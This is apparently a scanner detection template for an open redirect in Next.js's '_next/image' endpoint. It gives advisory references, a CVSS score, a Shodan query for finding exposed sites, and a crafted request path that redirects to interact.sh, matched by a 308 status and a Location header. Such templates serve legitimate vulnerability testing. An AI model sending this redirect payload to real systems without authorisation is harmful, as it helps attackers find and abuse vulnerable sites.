id: nextjs-redirect

info:
  name: Next.js <1.2.3 - Open Redirect
  author: DhiyaneshDk
  severity: medium
  description: Next.js contains an open redirect via “_next/image” due to improper path parsing.
  remediation: Upgrade to Next.js version 1.2.3 or higher.
  reference:
    - https://github.com/netlify/netlify-ipx/security/advisories/GHSA-9jjv-524m-jm98
    - https://samcurry.net/universal-xss-on-netlifys-next-js-library/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cwe-id: CWE-601
    cpe: cpe:2.3:a:zeit:next.js:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    shodan-query: html:"/_next/static"
    product: next.js
    vendor: zeit
  tags: redirect,nextjs,xss,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/_next/image?url=/\/\interact.sh/&q=100&w=128&h=128'

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - 'Location: /\/\/interact.sh'

      - type: status
        status:
          - 308
# digest: 4a0a00473045022100b185f08167632fc3b126635ada113c1e8edd4fcf3cea19d3ebe5d49607239dbe022003d3c92ca7586862fa073c1d095604eb1c86acd74e80f9b03cc96f526e7c749b:922c64590222798bb761d5b6d8e72950